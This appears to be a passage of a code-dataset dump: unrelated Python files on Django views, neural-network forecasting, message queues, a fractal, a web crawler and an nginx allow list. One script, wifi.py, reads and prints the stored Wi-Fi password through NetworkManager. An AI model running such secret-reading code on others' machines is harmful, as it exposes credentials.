valid[1].id,\n \"name\": valid[1].name\n }\n return redirect(\"/travels\")\n else:\n for errors in valid[1]:\n messages.add_message(request, messages.ERROR, errors)\n return redirect(\"/register\")\n elif request.method == 'GET':\n return render(request, \"users/register.html\")\ndef new_session(request):\n if request.method == 'POST':\n valid = Users.userManager.login(\n request.POST[\"email\"],\n request.POST[\"password\"],\n )\n if valid[0]:\n request.session[\"email\"] = {\n \"id\": valid[1].id,\n \"name\": valid[1].name\n }\n return redirect(\"/travels\")\n else:\n for errors in valid[1]:\n messages.add_message(request, messages.ERROR, errors)\n return redirect(\"/login\")\n if request.method == 'GET':\n return render(request, \"users/usersLogin.html\")\n\ndef logout(request):\n request.session.clear()\n return redirect(\"/register\")\n\ndef travels(request):\n if 'email' not in request.session:\n return redirect('/login')\n Alltrips = Trip.objects.all()\n usertrips = Travelers.travelersManager.filter(traveler_id = request.session[\"email\"][\"id\"])\n for trip in usertrips:\n Alltrips = Alltrips.exclude(id = trip.trip.id)\n context = {\n \"Alltrips\": Alltrips,\n \"Trips\": usertrips,\n }\n\n return render(request, \"users/travels.html\", context)\n\ndef create(request):\n Trip.objects.create(\n destination= request.POST[\"destination\"],\n description= request.POST[\"description\"],\n travel_start_date= request.POST[\"travel_start_date\"],\n travel_end_date= request.POST[\"travel_end_date\"],\n creator_id= request.session[\"email\"][\"id\"]\n )\n return redirect('/travels')\n\n\ndef addplan(request):\n if 'email' not in request.session:\n return redirect('/')\n return render(request, \"users/addplan.html\")\n\ndef users(request):\n return render(request, \"users/usersList.html\")\n\ndef join(request, id):\n if request.method == \"POST\":\n joins = Travelers.travelersManager.filter(trip_id = id).filter(traveler_id = request.session[\"email\"][\"id\"])\n if len(joins) == 0:\n Travelers.travelersManager.create(\n traveler_id = request.session[\"email\"][\"id\"],\n trip_id = id\n )\n return redirect(\"/travels\")\n\ndef info(request, id):\n if 'email' not in request.session:\n return redirect('/')\n if request.method == \"GET\":\n\n context = {\n \"trip\": Trip.objects.get(id = id),\n \"travelers\": Travelers.travelersManager.filter(trip_id = id)\n }\n return render(request, \"users/info.html\", context)\n","sub_path":"apps/users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3651,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"33430373","text":"#!/usr/bin/python\n\nimport os, sys\nfrom jinja2 import Template\n\nif len(sys.argv) != 4:\n print(\"Allowed paremeters are 3, the source, destination and environment variable prefix parameters and you are passing %d args\" % (len(sys.argv) - 1))\n sys.exit(1)\n\ntemplate_file = sys.argv[1]\nconfig_file = sys.argv[2]\nenv_prefix = sys.argv[3]\n\nprint (\"template: \" + template_file + \", destination: \" + config_file + \", env variable prefix: \" + env_prefix)\n\ndef getEnvironmentVariables(env_prefix):\n all_env = os.environ\n hue_env = {}\n for key in all_env.keys():\n if env_prefix in key:\n new_key = key.replace(env_prefix + \"_\", '')\n hue_env[new_key] = all_env[key]\n return hue_env\n\nif __name__ == \"__main__\":\n\n template = open(template_file,\"r\")\n template_content = template.read()\n template.close()\n\n hue_env = getEnvironmentVariables(env_prefix)\n result_content = Template(template_content).render(hue_env)\n\n result = open(config_file,\"w\")\n result.write(result_content)\n result.close()\n","sub_path":"hue/build-arm64v8/4.6.0/scripts/fill_template_jinja2.py","file_name":"fill_template_jinja2.py","file_ext":"py","file_size_in_byte":1046,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"147168650","text":"from pydbus import SystemBus\n\nbus=SystemBus()\nnm=bus.get('.NetworkManager')\nactive=nm.ActiveConnections\nif len(active)>0:\n\n con=bus.get('.NetworkManager',active[0])\n wi=bus.get('.NetworkManager',nm.ActiveConnections[0])\n name = wi.Id\n typ=wi.Type\n print('Network: {}'.format(name))\n print('Network Type: {}'.format(typ))\n pas=bus.get('.NetworkManager',wi.Connection)\n secret=pas.GetSecrets(pas.GetSettings()['802-11-wireless']['security'])['802-11-wireless-security']['psk']\n print('Network Password: {}'.format(secret),end='\\n')\n\n ip4=bus.get('.NetworkManager',con.Ip4Config)\n ip4Add=ip4.AddressData\n ip4Routes=ip4.Routes\n ip4RtData=ip4.RouteData\n ip4Nameserver=ip4.Nameservers\n print('IpV4 Details:')\n print(' Address: {}'.format(ip4Add))\n print(' Routes: {}'.format(ip4Routes))\n print(' Route Data: {}'.format(ip4RtData))\n print(' Nameserver: {}'.format(ip4Nameserver))\n\n ip6=bus.get('.NetworkManager',con.Ip6Config)\n ip6Add=ip6.AddressData\n ip6Routes=ip6.Routes\n ip6RtData=ip6.RouteData\n ip6Nameserver=ip6.Nameservers\n print('IpV6 Details:')\n print(' Address: {}'.format(ip6Add))\n print(' Routes: {}'.format(ip6Routes))\n print(' Route Data: {}'.format(ip6RtData))\n print(' Nameserver: {}'.format(ip6Nameserver),end='\\n')\n\n dev=bus.get('.NetworkManager',nm.GetDevices()[1])\n mac=dev.HwAddress\n print('Physical Address: {}'.format(mac))\nelse:\n print('System is not connected. Please connect to a wireless network.')\n\n","sub_path":"wifi-details/wifi.py","file_name":"wifi.py","file_ext":"py","file_size_in_byte":1550,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"271113770","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n\n# @Time : 2019/8/9 22:22\n# @Author : Zhen Chen\n# @Email : 15011074486@163.com\n\n# Python version: 3.7\n# Description: forecasting by back propagation network,\n 利用反向传播的神经网络预测。\n 一般需要上千组数据训练用,100组左右数据预测用\n\n\"\"\"\n\nfrom random import random\nfrom random import seed\nfrom math import exp\nimport numpy as np\n\n\n# initialize a network\ndef initialize_network(num_inputs, num_hidden, num_outputs):\n network = list()\n\n # 神经网络包括输入层、隐含层和输出层\n # 下面分别生成从输入层到隐含层,以及从隐含层到输出层的初始权重\n # 初始权重为0-1之间的随机数\n hidden_layer = [{}] * num_hidden\n for i in range(num_hidden):\n hidden_layer[i] = {'weights': [random() for i in range(num_inputs + 1)]} # weights 数组中最后一个元素是阈值\n network.append(hidden_layer)\n\n output_layer = [{}] * num_outputs\n for i in range(num_outputs):\n output_layer[i] = {'weights': [random() for i in range(num_hidden + 1)]} # weights 数组中最后一个元素是阈值\n network.append(output_layer)\n\n return network\n\n\n# calculate neuron activation for an input and weights, 计算一个输入的激活值\ndef activate(weights, inputs):\n activation = weights[-1]\n for i in range(len(weights) - 1): # 最后一个权重值是阈值,不用加\n activation += weights[i] * inputs[i]\n\n return activation\n\n\n# transfer neuron activation, 传递函数\n# 下面使用了一个单级传递函数(losig),传递函数有很多\n# 本程序输入与输出层的传递函数一样\ndef transfer(activation):\n return 1.0 / (1.0 + exp(-activation))\n\n\n# forward propagate input to a network output,\n# 前向传播,将输入层的数据输出到所有隐含层和输出层的数据中\n# input_values_row 表示输入层的数据\ndef forward_propagate(network, input_values_row):\n inputs = input_values_row\n for layer in network:\n layer_output_values = []\n for neuron in layer: # 输入的数据传递进入隐含层,然后再传递出去\n activation = activate(neuron['weights'], inputs)\n neuron['output'] = transfer(activation)\n layer_output_values.append(neuron['output'])\n inputs = layer_output_values\n return inputs # 返回输出层的输出值\n\n\n# calculate the derivative of an neuron output\n# the derivative of the transfer function\n# 传递函数(sigmoid函数)的一阶导数,可以推出来\ndef transfer_derivative(output):\n return output * (1 - output)\n\n\n# 反向计算传递的误差,并存在每个神经元的 delta 里\n# expect_output_values 表示输出层的所有期望输出值\ndef compute_deltas(network, expect_output_values_row):\n for i in reversed(range(len(network))): # 反向计算\n layer = network[i]\n errors = list() # 一层里面所有神经元的误差在一个 list 里\n if i != len(network) - 1: # 若不是输出层\n for j in range(len(layer)):\n error = 0.0\n for neuron in network[i + 1]: # i + 1 表示下一层\n error += (neuron['weights'][j] * neuron['delta']) # 加权计算每个神经元的误差:等于加权的 delta\n errors.append(error)\n else: # 若在输出层\n for j in range(len(layer)): # 对输出层中的所有神经元计算误差\n neuron = layer[j]\n errors.append(expect_output_values_row[j] - neuron['output'])\n\n for j in range(len(layer)):\n neuron = layer[j] # 计算每个神经元对应的 delta 值\n neuron['delta'] = errors[j] * transfer_derivative(neuron['output'])\n\n\n# update network weights with error\n# 更新权重(在网络训练时用)\n# 更新的原理利用了梯度下降\n# 每组输入的数值,都更新一次权重\ndef update_weights(network, input_values_row, learning_rate):\n for i in range(len(network)):\n inputs = input_values_row[: -1] # 因为 input_values 中最后一个元素是输出值\n if i != 0:\n inputs = [neuron['output'] for neuron in network[i - 1]] # 本网络的输入是上一个神经网络的输出\n for neuron in network[i]:\n for j in range(len(inputs)):\n neuron['weights'][j] += learning_rate * neuron['delta'] * inputs[j] # 更新权重\n neuron['weights'][-1] += learning_rate * neuron['delta'] # 更新阈值, 阈值是最后一个权重\n\n\n# train a network for a fixed number of epochs\n# 以一定次数训练网络\ndef train_net(network, train_input_values, train_output_values, learning_rate, epochs):\n if len(train_output_values.shape) == 1:\n num_outputs = 1\n else:\n num_outputs = train_output_values.shape[1]\n for epoch in range(epochs):\n sum_error = 0\n for input_values_row in train_input_values:\n output = forward_propagate(network, input_values_row)\n expected_output_values_row = [train_output_values[-i] for i in range(num_outputs)]\n # expected = [0 for i in range(n_outputs)]\n # expected[row[-1]] = 1\n # 每一组各输出的误差叠加\n sum_error += sum([(expected_output_values_row[i]-output[i])**2 for i in range(len(expected_output_values_row))])\n # 所有输入组的输出误差叠加,结果为 sum_error\n compute_deltas(network, expected_output_values_row)\n update_weights(network, input_values_row, learning_rate)\n print('>epoch = %d, learning rate = %.3f, error = %.3f' % (epoch, learning_rate, sum_error))\n\n\n# Make a prediction with a network\n# 通过训练后的网络做预测\ndef predict(network, test_input_values):\n output_values = forward_propagate(network, test_input_values)\n return output_values\n\n\n# 归一化,将一个矩阵每一列归一化处理\ndef preminmax(arr):\n row_num = len(arr)\n column_num = len(arr[0])\n # out_arr = [[0] * column_num] * row_num # 这种方式会造成 2D list每一行的引用完全相同\n # out_arr = [[0] * column_num for __ in range(row_num)]\n out_arr = np.zeros((row_num, column_num)) # 直接用 np array 类型避免上面的情况\n arr = np.array(arr)\n column_max_ps = []\n column_min_ps = []\n for i in range(column_num):\n column_max = max(arr[:, i]) # 因为 arr 是 list 类型,若 arr 是 numpy 类型,则可以按 matlab 的方式引用\n column_min = min(arr[:, i])\n column_max_ps.append(column_max)\n column_min_ps.append(column_min)\n for j in range(row_num):\n out_arr[j][i] = 2 * (arr[j][i] - column_min) / (column_max - column_min) - 1\n return out_arr, column_max_ps, column_min_ps\n\n\nseed(1)\ndataset = [[970062, 18718.3, 103922, 5560.1, 8300.1, 6955.81],\n [985793, 21826.2, 104844, 7225.8, 9415.6, 9810.4],\n [1045899, 26937.3, 107256, 9119.6, 10993.7, 12443.12],\n [1115902, 35260, 111059, 11271, 14270.4, 14410.22],\n [1180396, 48108.5, 118729, 20381.9, 18622.9, 17042.94],\n [1234938, 59810.5, 129034, 23499.9, 23613.8, 20019.3],\n [1298421, 70142.5, 133032, 24133.8, 28360.2, 22974],\n [1278218, 78060.9, 133460, 26967.2, 31252.9, 24941.1],\n [1267427, 83024.3, 129834, 26849.7, 33378.1, 28406.2],\n [1293008, 88479.2, 131935, 29896.2, 35647.9, 29854.7],\n [1358682, 98000.5, 135048, 39273.2, 39105.7, 32917.7],\n [1401786, 108068.2, 143875, 42183.6, 43055.4, 37213.5],\n [1483447, 119095.7, 150656, 51378.2, 48135.9, 43499.9],\n [1564492, 134977, 171906, 70483.5, 52516.3, 55566.6],\n [1706412, 159453.6, 196648, 95539.1, 59501, 70477.43],\n [1862066, 183617.4, 216219, 116921.8, 67176.6, 88773.61],\n [2037060, 215904.4, 232167, 140974, 76410, 109998.16],\n [2275822, 266422, 242279, 166863.7, 89210, 137323.94],\n [2585973, 316030.3, 260552, 179921.5, 108487.7, 172828.4],\n [2825222, 340320, 274619, 150648.1, 132678.4, 224598.77],\n [3241807, 399759.5, 296916, 201722.1, 156998.4, 278121.85],\n [3696961, 472115, 317987, 236402, 183918.6, 311485.13]]\n\ndata_array = np.array(dataset)\nnormal_data, max_ps, min_ps = preminmax(data_array)\ninput_data = normal_data[0: 17, 1: len(normal_data[0])]\noutput_data = normal_data[0: 17, 1] # 输出的数据在第一列\nprint(normal_data)\nn_outputs = 1\nn_inputs = len(input_data[0]) - n_outputs\nn_hidden = 1\nnet = initialize_network(n_inputs, n_hidden, n_outputs)\n# for layer in net:\n# print(layer)\nlearn_rate = 0.3\nnum_epoch = 100\ntrain_net(net, input_data, output_data, learn_rate, num_epoch)\nout_values = predict(net, [5, 10, 10, 10, 10])\nprint(out_values)\n# for row in dataset:\n# prediction = predict(net, row)\n# print('Expected = %d' % row[-1])\n# print('forecast:')\n# print(list(prediction))\n","sub_path":"forecast-methods/bp_network.py","file_name":"bp_network.py","file_ext":"py","file_size_in_byte":9041,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"529962144","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jul 10 16:35:18 2019\n\n@author: kuangen\n\"\"\"\nfrom utils import *\nfrom net_model import *\nimport numpy as np\n\ndef test_model_voting(model_type, r_vec = range(5), c_vec = range(16), \n delay = 1):\n model, filepath = build_model(model_type = model_type)\n model.load_weights(filepath)\n acc_mat = np.zeros((5,16))\n win_length = 15\n for r in r_vec:\n for c in c_vec:\n exe_str = '_r_' + str(r+1) + '_c_' + str(c+1)\n x_signals, y_signals = load_h5('3-save_data/score_vec.h5', \n data_name = '/data' + exe_str,\n label_name = '/label' + exe_str)\n if 0 == len(x_signals) * len(y_signals):\n continue\n x_test, y_test = seg_signals(x_signals, y_signals, \n win_length = win_length)\n y_predict = np.argmax(model.predict(x_test), axis = -1)\n y_predict_filt = voting_filt1(y_predict, filt_delay = delay - 1)\n decisions = np.argmax(y_signals, axis = -1)\n decisions[win_length-1:] = y_predict_filt\n y_test_num = np.argmax(y_test, axis = -1)\n acc_mat[r,c] = calc_acc(y_predict_filt, y_test_num)\n print('Test accuracy:', np.mean(acc_mat[acc_mat != 0]))\n return acc_mat, decisions+1\n\ndef model_predict(model_type, r_vec = range(5), c_vec = range(16)):\n model, filepath = build_model(model_type = model_type)\n model.load_weights(filepath)\n y_predict_num_mat = np.empty((5, 16), dtype = np.object)\n y_test_num_mat = np.empty((5, 16), dtype = np.object)\n win_length = 15\n for r in r_vec:\n for c in c_vec:\n exe_str = '_r_' + str(r+1) + '_c_' + str(c+1)\n x_signals, y_signals = load_h5('3-save_data/score_vec.h5', \n data_name = '/data' + exe_str,\n label_name = '/label' + exe_str)\n if 0 == len(x_signals) * len(y_signals):\n continue\n x_test, y_test = seg_signals(x_signals, y_signals, \n win_length = win_length)\n y_predict_num_mat[r, c] = np.argmax(model.predict(x_test), axis = -1)\n y_test_num_mat[r,c] = np.argmax(y_test, axis = -1)\n return y_predict_num_mat, y_test_num_mat\n\ndef calc_voting_acc(y_predict_num_mat, y_test_num_mat, delay = 1):\n mat_size = y_predict_num_mat.shape\n acc_mat = np.zeros(mat_size)\n for r in range(mat_size[0]):\n for c in range(mat_size[1]):\n if y_predict_num_mat[r,c] is None or y_test_num_mat[r,c] is None:\n continue\n y_predict = y_predict_num_mat[r,c].astype(np.int64)\n y_test = y_test_num_mat[r,c].astype(np.int64)\n y_predict_filt = voting_filt1(y_predict, filt_delay = delay - 1)\n acc_mat[r,c] = calc_acc(y_predict_filt, y_test)\n return acc_mat\n\n\n#%% test all\n#model_type_vec = ['rnn','lstm','gru']\n#acc = {}\n#for model_type in model_type_vec:\n# model, filepath = build_model(model_type = model_type)\n# acc[model_type] = test_model(model, filepath)\n#%% test specific subject\n#model_type_vec = ['rnn','lstm','gru']\n#acc = {}\n#decisions = {}\n#for model_type in model_type_vec:\n# acc[model_type], decisions[model_type] = test_model_voting(\n# model_type, r_vec=[0], c_vec=[5])\n#%% test accuracy for different delays\nmodel_type_vec = ['rnn','lstm','gru']\nacc_mean = np.zeros((11,3,2)) \nacc_std = np.zeros((11,3,2))\ndecisions = {}\nfor c in range(len(model_type_vec)):\n y_predict_num_mat, y_test_num_mat = model_predict(model_type_vec[c])\n for delay in range(11):\n acc_mat = calc_voting_acc(y_predict_num_mat, y_test_num_mat, \n delay = delay+1)\n for d in range(2):\n acc_mat_d = acc_mat[:,8*d:8*(d+1)]\n print(np.mean(acc_mat_d[acc_mat_d != 0]))\n acc_mean[delay, c, d] = np.mean(acc_mat_d[acc_mat_d != 0])\n acc_std[delay, c, d] = np.std(acc_mat_d[acc_mat_d != 0])\n\n \n \n \n \n\n\n ","sub_path":"test_online.py","file_name":"test_online.py","file_ext":"py","file_size_in_byte":4139,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"560495606","text":"import torch\nimport pickle\nimport time\nfrom pathlib import Path\nfrom torch.utils.tensorboard import SummaryWriter\n\nclass PickleWriter(SummaryWriter):\n\n def __init__(self, log_dir, pickle_file_path):\n super().__init__(log_dir)\n self.pickle_file_path = pickle_file_path\n parent_dir = Path(pickle_file_path).parent\n parent_dir.mkdir(exist_ok=True)\n self.log_dict = {}\n\n\n def add_scalar(self, name, data, step=None, description=None, tensorboard=True):\n\n if tensorboard == True:\n super().add_scalar(name, data, step, description)\n if isinstance(data,torch.Tensor):\n data= data.item()\n #self._python_scalar(name,data,step)\n\n def _python_scalar(self, name, data,step):\n if name in self.log_dict:\n self.log_dict[name].append((data,step))\n else:\n self.log_dict[name] = [(data,step)]\n\n def flush_to_pickle(self):\n with open(self.pickle_file_path, \"wb\") as output_file:\n pickle.dump(self.log_dict, output_file)\n time.sleep(600)\n","sub_path":"data_sampling/source/tools/pickle_writer.py","file_name":"pickle_writer.py","file_ext":"py","file_size_in_byte":1090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"647694828","text":"\"\"\"\nInitialize message queue.\n\nAuthor: lihaomin@tp-link.com.cn\nCopyright (C), 2017, TP-LINK Technologies Co., Ltd.\n\"\"\"\n__version__ = \"0.0.1\"\n\nimport pika\n\n\ndef setup_mq(channel, exchanges=[], queues=[], callbacks={}):\n \"\"\"\n Set up message queue channel.\n\n Parameters\n ----------\n channel: pika channel\n A pika channel\n exchanges: list of dict\n Must have keys: `name` & `type`\n queues: list of dict\n Must have keys: `name`, `exchange` & `routing_key`\n callbacks: dict\n Queue names as keys, callbacks as values\n \n Returns\n -------\n channel: pika channel\n The channel itself is returned after being set up.\n\n \"\"\"\n # Declare exchanges:\n for exchange in exchanges:\n channel.exchange_declare(\n exchange=exchange['name'],\n exchange_type=exchange['type']\n )\n # Declare & bind queues:\n for queue in queues:\n channel.queue_declare(\n queue=queue['name'],\n durable=True\n )\n channel.queue_bind(\n queue=queue['name'],\n exchange=queue['exchange'],\n routing_key=queue['routing_key']\n )\n for queue_name in callbacks.keys():\n channel.basic_consume(\n callbacks[queue_name],\n queue=queue_name,\n no_ack=True\n )\n return channel\n\n\ndef init_mq(host, port, username, password, exchanges, queues, callbacks):\n \"\"\"\n Initialize RabbitMQ connection and channel.\n\n Parameters\n ---\n host: str\n RabbitMQ service host.\n port: int\n RabbitMQ service port.\n username: str\n RabbitMQ username.\n password: str\n RabbitMQ user password.\n exchanges: list\n Exchange definitions.\n queues: list\n Queue Definitions.\n callbacks: dict\n Queue names as keys, callback functions as values.\n\n Returns\n ---\n mq_conn: pika connection\n mq_channel: pika channel\n \"\"\"\n # Init connection:\n mq_conn = pika.BlockingConnection(\n pika.ConnectionParameters(\n host=host,\n port=port,\n credentials=pika.PlainCredentials(\n username,\n password\n )\n )\n )\n mq_channel = mq_conn.channel()\n mq_channel = setup_mq(\n mq_channel,\n exchanges,\n queues,\n callbacks\n )\n return (mq_conn, mq_channel)\n\n\n\ndef get_mq_connection(mq_conf, app_name, callbacks = {}):\n \"\"\"Create and return RabbitMQ connection & queue\"\"\"\n app_conf = mq_conf[app_name]\n # Init connection:\n mq_conn = pika.BlockingConnection(\n pika.ConnectionParameters(\n host=mq_conf['host'],\n port=mq_conf['port'],\n credentials=pika.PlainCredentials(\n mq_conf['username'],\n mq_conf['password']\n )\n )\n )\n mq_channel = mq_conn.channel()\n exchanges = app_conf.get('exchanges')\n # exchanges:\n if exchanges is None:\n exchanges = []\n # queues:\n queues = app_conf.get('queues')\n if queues is None:\n queues = []\n # callbacks:\n callback_conf = app_conf.get('callbacks')\n callback_dict = {}\n if callback_conf is not None:\n for qname in callback_conf:\n callback_name = callback_conf[qname]\n callback_dict.update({\n qname: callbacks[callback_name]\n })\n mq_channel = setup_mq(\n mq_channel,\n exchanges,\n queues,\n callback_dict\n )\n return (mq_conn, mq_channel)\n","sub_path":"lib_msg_q/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"73134368","text":"from django.conf.urls import url\nfrom . import views\nfrom django.conf.urls.static import static\nfrom django.contrib.auth import views as auth_views\nfrom django.conf import settings\n\n\nurlpatterns=[\n url(r'^$',views.index,name='index'),\n url('register/',views.signup, name='registration'),\n url('login/', auth_views.LoginView.as_view(), name='login'),\n url('logout/',auth_views.LogoutView.as_view(), name='logout'),\n url('profile/', views.profile, name='profile'),\n url('upload/',views.project,name='add_project'),\n url(r'^project_details/(?P\\d+)', views.project_view, name='projectdetails'),\n url(r'^review/(?P\\d+)', views.review_project, name='review'),\n url('search/', views.search_project, name='search'),\n url('api/projects',views.ProjectList.as_view(),name='projectsEndpoint'),\n url('api/profiles',views.ProfileList.as_view(),name='profilesEndpoint'),\n]\n\nif settings.DEBUG:\n urlpatterns+= static(settings.MEDIA_URL, document_root = settings.MEDIA_ROOT)","sub_path":"golden/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"425783938","text":"from google.cloud import firestore\n\nfrom matchbox.database import error\n\n_DEFAULT_DATABASE = \"(default)\"\n\n\nclass Database:\n def __init__(self):\n self._conn = None\n self._project = None\n self._database = None\n self._root_path = None\n\n # Required scopes:\n # LINK: https://googleapis.dev/python/firestore/latest/client.html#google.cloud.firestore_v1.client.Client.SCOPE\n # - https://www.googleapis.com/auth/cloud-platform\n # - https://www.googleapis.com/auth/datastore\n def initialization(self, cert_path, project=None, database=None, root_path=None):\n\n kwargs = {}\n if project is not None:\n kwargs[\"project\"] = project\n if database is not None:\n kwargs[\"database\"] = database\n self._conn = firestore.Client.from_service_account_json(cert_path, **kwargs)\n\n self._project = project\n self._database = database\n self._root_path = root_path.strip(\"/\") if root_path is not None else \"\"\n\n @property\n def conn(self):\n if self._conn is None:\n raise error.DBDoesNotinitialized(\n 'Connection to db must be initialized'\n )\n return self._conn\n\n @property\n def root_path(self):\n return self._root_path\n\n def collection(self, name):\n if self.root_path:\n name = \"/\".join([self._root_path, name.strip(\"/\")])\n return self.conn.collection(name)\n\n\ndb = Database()\n\n\ndef db_initialization(cert_path, project=None, database=_DEFAULT_DATABASE, root_path=None):\n global db\n\n db.initialization(cert_path, project, database, root_path)\n","sub_path":"matchbox/database/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":1631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"387682030","text":"# -*- coding:utf-8 -*-\r\n# author:yufeixu\r\n# datetime:2020/4/13 11:19\r\n# software: PyCharm\r\n\"\"\"\r\n 给定一个 没有重复 数字的序列,返回其所有可能的全排列。\r\n 输入: [1,2,3]\r\n 输出:\r\n [\r\n [1,2,3],\r\n [1,3,2],\r\n [2,1,3],\r\n [2,3,1],\r\n [3,1,2],\r\n [3,2,1]\r\n ]\r\n\"\"\"\r\n\"\"\"\r\n def backtrack(...):\r\n for 选择 in 选择列表:\r\n 做选择\r\n backtrack(...)\r\n 撤销选择\r\n\"\"\"\r\nfrom typing import List\r\n\r\n\r\nclass Solution:\r\n def permute(self, nums: List[int]) -> List[List[int]]:\r\n res = []\r\n nums_len = len(nums)\r\n\r\n def backtrack(nums, track):\r\n \"\"\"\r\n 路径:记录在 track 中\r\n 选择列表:nums 中不存在于 track 的那些元素\r\n 结束条件:nums 中的元素全都在 track 中出现\r\n :param nums:\r\n :param track:\r\n :return:\r\n \"\"\"\r\n # 满足结束条件\r\n if len(track) == nums_len:\r\n res.append(track[:])\r\n return\r\n for i in range(0, nums_len):\r\n # 排除不合法的选择\r\n if nums[i] in track:\r\n continue\r\n # 做选择\r\n track.append(nums[i])\r\n # 进入下一层决策树\r\n backtrack(nums, track)\r\n # 撤销选择\r\n track.pop()\r\n\r\n backtrack(nums, [])\r\n return res\r\n\r\n def permute_optimize(self, nums: List[int]) -> List[List[int]]:\r\n res = []\r\n\r\n def backtrack(nums, tmp):\r\n if not nums:\r\n res.append(tmp)\r\n return\r\n for i in range(len(nums)):\r\n backtrack(nums[:i] + nums[i + 1:], tmp + [nums[i]])\r\n\r\n backtrack(nums, [])\r\n return res\r\n\r\n\r\nif __name__ == '__main__':\r\n nums = [1, 2, 3]\r\n print(Solution().permute(nums))\r\n print(Solution().permute_optimize(nums))\r\n","sub_path":"src/leetcode/back_track/no46_permute.py","file_name":"no46_permute.py","file_ext":"py","file_size_in_byte":2037,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"457708103","text":"# Author: Martin McBride\n# Created: 2021-12-15\n# Copyright (C) 2021, Martin McBride\n# License: MIT\n\nfrom generativepy.bitmap import Scaler\nfrom generativepy.nparray import make_nparray_data, save_nparray, load_nparray, make_npcolormap, apply_npcolormap, save_nparray_image\nfrom generativepy.color import Color\nfrom generativepy.utils import temp_file\nfrom generativepy.analytics import print_stats, print_histogram\nimport numpy as np\nimport math\n\nMAX_COUNT = 10000000\nA = 0.1\nB = 5\nC = -1\n\ndef sign(x):\n if x > 0:\n return 1\n if x < 0:\n return -1\n return(0)\n\ndef colorise(counts):\n counts = np.reshape(counts, (counts.shape[0], counts.shape[1]))\n power_counts = np.power(counts, 0.25)\n maxcount = np.max(power_counts)\n normalised_counts = (power_counts * 1023 / max(maxcount, 1)).astype(np.uint32)\n\n colormap = make_npcolormap(1024, [Color('black'), Color('green'), Color('yellow'), Color('red')])\n\n outarray = np.zeros((counts.shape[0], counts.shape[1], 3), dtype=np.uint8)\n apply_npcolormap(outarray, normalised_counts, colormap)\n return outarray\n\ndef paint(image, pixel_width, pixel_height, frame_no, frame_count):\n scaler = Scaler(pixel_width, pixel_height, width=300, startx=-150, starty=-150)\n\n x = -1\n y = 0\n for i in range(MAX_COUNT):\n x, y = y-math.sqrt(abs(B*x-C))*sign(x), A-x\n px, py = scaler.user_to_device(x, y)\n if 0 <= px < pixel_width and 0 <= py < pixel_height:\n image[py, px] += 1\n\n\nfilename = temp_file('hopalong-variant.dat')\n\ndata = make_nparray_data(paint, 600, 600, channels=1)\nsave_nparray(filename, data)\ndata = load_nparray(filename)\n\nframe = colorise(data)\n\nsave_nparray_image('hopalong-variant.png', frame)\n","sub_path":"blog/fractals/hopalong-variant.py","file_name":"hopalong-variant.py","file_ext":"py","file_size_in_byte":1727,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"516585427","text":"import re\nimport time\n\nfrom pyquery import PyQuery as pq\nfrom policy_crawl.common.fetch import get,post\nfrom policy_crawl.common.save import save\nfrom policy_crawl.common.logger import alllog,errorlog\n\n\ndef parse_detail(html,url):\n alllog.logger.info(\"江苏省药品监督管理局: %s\"%url)\n doc=pq(html)\n data={}\n data[\"title\"]=doc(\"title\").text()\n data[\"content\"]=doc(\"#zoom\").text()\n data[\"content_url\"]=[item.attr(\"href\") for item in doc(\"#zoom a\").items()]\n try:\n # data[\"publish_time\"]=re.findall(\"(\\d{4}年\\d{1,2}月\\d{1,2}日)\",html)[0]\n # data[\"publish_time\"]=re.findall(\"(\\d{4}/\\d{1,2}/\\d{1,2})\",html)[0]\n data[\"publish_time\"]=re.findall(\"(\\d{4}-\\d{1,2}-\\d{1,2})\",html)[0]\n except:\n data[\"publish_time\"]=\"\"\n errorlog.logger.error(\"url:%s 未找到publish_time\"%url)\n data[\"classification\"]=\"江苏省药品监督管理局\"\n data[\"url\"]=url\n print(data)\n save(data)\n\ndef parse_index(html):\n urls=re.findall(' now:\n allowed.append({\n \"ip\": r[1],\n \"expiration\": r[0],\n \"desc\": r[2],\n \"id\": r[3]\n })\n else:\n to_remove.append({\n \"ip\": r[1],\n \"expiration\": r[0],\n \"desc\": r[2],\n \"id\": r[3]\n })\n if len(to_remove) > 0 and not self.updating:\n for line in to_remove:\n log(\"Removing {}\".format(line['ip']))\n self.db.execute(\n \"DELETE FROM allowed_list WHERE ip=? AND expiration=?\",\n (line['ip'], line['expiration'])\n )\n self.db.commit()\n self.update_conf(allowed)\n return allowed\n\n def add_allowed(self, ip, desc, expiration):\n log(\"Adding {}\".format(ip))\n self.db.execute(\"INSERT INTO allowed_list (expiration, ip, description) VALUES (?, ?, ?)\", (expiration, ip, desc))\n self.db.commit()\n self.update_conf()\n\n def del_allowed(self, allowed_id):\n log(\"Deleting id {}\".format(allowed_id))\n self.db.execute(\"DELETE FROM allowed_list WHERE ROWID = ?\", (allowed_id,))\n self.db.commit()\n self.update_conf()\n\n def update_conf(self, allowed=None):\n self.updating = True\n if allowed is None:\n allowed = self.get_allowed()\n with open(\"data/allow.conf\", \"w\") as f:\n for line in allowed:\n f.write(\"allow {}; # {} - {} - {}\\n\".format(line['ip'], line['id'], line['expiration'], line['desc']))\n self.updating = 